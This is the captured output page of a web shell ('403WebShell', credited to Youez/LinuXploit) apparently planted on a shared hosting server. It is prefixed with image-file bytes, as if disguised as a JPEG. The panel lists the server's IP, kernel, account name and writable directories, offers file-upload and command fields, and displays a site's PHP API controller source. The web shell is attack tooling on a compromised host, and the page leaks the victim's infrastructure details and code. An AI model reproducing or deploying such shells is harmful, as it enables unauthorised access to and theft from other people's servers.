����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.17.154.155
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/ideyshare.name.ng/app/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/ideyshare.name.ng/app/controllers/ApiController.class.php
<?php

namespace App\Controllers;

use App\Core\BaseController;
use App\Core\Database;
use App\Models\File;
use App\Helpers\ApiV2Helper;
use App\Helpers\AuthHelper;
use App\Helpers\CoreHelper;
use App\Helpers\FileHelper;
use App\Helpers\FileFolderHelper;
use App\Helpers\LogHelper;
use App\Services\Uploader;

class ApiController extends BaseController
{

    public function index($urlPart1, $urlPart2 = '') {
        // requests from the same server don't have a HTTP_ORIGIN header
        if(!array_key_exists('HTTP_ORIGIN', $_SERVER))
        {
            $_SERVER['HTTP_ORIGIN'] = $_SERVER['SERVER_NAME'];
        }

        try
        {
            $fullEndpoint = $urlPart1;
            if(strlen($urlPart2)) {
                $fullEndpoint .= '/'.$urlPart2;
            }
            $apiv2 = ApiV2Helper::init($fullEndpoint, $_SERVER['HTTP_ORIGIN']);
            
            return $this->renderContent($apiv2->processAPI());
        }
        catch(\Exception $e)
        {
            // log
            $logParams = $apiv2->request;
            if(isset($logParams['password']))
            {
                unset($logParams['password']);
            }
            LogHelper::info('User Error: '.$e->getMessage().' - Params: '.json_encode($logParams, true));

            return $this->renderContent(json_encode(array('response' => $e->getMessage(), '_status' => 'error', '_datetime' => CoreHelper::sqlDateTime())));
        }
    }
    
    public function apiUploadHandler() {
        // for cross domain access
        CoreHelper::allowCrossSiteAjax();
        
        // pickup request for later
        $request = $this->getRequest();
        
        // setup database
        $db = Database::getDatabase();
        
        // logging
        LogHelper::setContext('api_upload_handler');
        LogHelper::info('POST request to API Uploader: ' . print_r($_REQUEST, true));

        // validate the api key
        $apiKey = $request->request->get('api_key');
        if (strlen($apiKey) === 0) {
            $rs = array();
            $rs[0] = array('error' => 'Please set the users API Key.');
            
            return $this->renderJson($rs);
        }
        else {
            // check API key in db
            $userId = $db->getValue("SELECT id "
                    . "FROM users "
                    . "WHERE apikey = :apikey "
                    . "LIMIT 1", array(
                        'apikey' => $apiKey,
                    ));
            if (!$userId) {
                $rs = array();
                $rs[0] = array('error' => 'Invalid API Key.');
                
                return $this->renderJson($rs);
            }
        }

        // pickup action
        $action = $request->request->has('action') ? $request->request->get('action') : 'upload';
        switch ($action) {
            // update raw file content
            case 'update_file_content':
                // look for file id
                if($request->request->has('file_id') === false) {
                    $rs = array();
                    $rs[0] = array('error' => 'File id not found.');
                    
                    return $this->renderJson($rs);
                }

                // load file
                $file = File::loadOneById((int) $request->request->get('file_id'));
                if (!$file) {
                    $rs = array();
                    $rs[0] = array('error' => 'Failed finding file.');
                    
                    return $this->renderJson($rs);
                }

                // check that the current user owns the file
                if ($file->userId != $userId) {
                    $rs = array();
                    $rs[0] = array('error' => 'Current user does not own the file.');
                    
                    return $this->renderJson($rs);
                }

                // setup uploader
                $uploadHandler = new Uploader(array(
                    'user_id' => (int) $userId,
                    'fail_zero_bytes' => false,
                    'min_file_size' => 0,
                    'upload_source' => 'api',
                ));

                // replace stored file
                $fileUpload = new \stdClass();
                $fileUpload->error = null;
                $rs = $uploadHandler->_storeFile($fileUpload, $_FILES['files']['tmp_name']);
                $file_size = $rs['file_size'];
                $file_path = $rs['file_path'];
                $uploadServerId = $rs['uploadServerId'];
                $fileUpload = $rs['fileUpload'];
                $relativeFilePath = $rs['relative_file_path'];
                $fileHash = $rs['fileHash'];
                $mimeType = FileHelper::estimateMimeTypeFromExtension($file->originalFilename);
                if (strlen($fileUpload->error)) {
                    $rs = array();
                    $rs[0] = array('error' => 'Error storing file: ' . $fileUpload->error);
                    
                    return $this->renderJson($rs);
                }

                // update existing file record in database
                $db = Database::getDatabase(true);
                $db->query('UPDATE file '
                        . 'SET fileSize = :fileSize, localFilePath = :localFilePath, '
                        . 'fileHash = :fileHash, fileType = :fileType, date_updated = NOW() '
                        . 'WHERE id = :id '
                        . 'LIMIT 1', array(
                            'fileSize' => $file_size,
                            'localFilePath' => $relativeFilePath,
                            'fileHash' => $fileHash,
                            'fileType' => $mimeType,
                            'id' => $file->id,
                            )
                        );
                
                // update folder total filesize
                if ($file->folderId !== null) {
                    FileFolderHelper::updateFolderFilesize($file->folderId);
                }

                // output success
                $rs = array();
                $rs[0] = array('success' => 'File updated.');
                
                return $this->renderJson($rs);
                break;
            // upload
            default:
                // setup uploader, allow zero file sizes
                if (!defined('PHP_INT_SIZE')) {
                    define('PHP_INT_SIZE', 4);
                }
                
                // setup auth for current user
                $Auth = AuthHelper::getAuth();
                $Auth->impersonate($userId);
                
                // setup upload handler
                $uploadHandler = new Uploader(array(
                    'folder_id' => (int) $request->request->get('folderId'),
                    'user_id' => (int) $userId,
                    'fail_zero_bytes' => false,
                    'min_file_size' => 0,
                    'max_file_size' => PHP_INT_SIZE === 8 ? 1072870912000 : 2147483647,
                    'upload_source' => 'api',
                ));

                switch ($request->server->get('REQUEST_METHOD')) {
                    case 'POST':
                        return $this->renderContent($uploadHandler->post());
                }
                break;
        }


        // fallback
        return $this->renderContent('');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit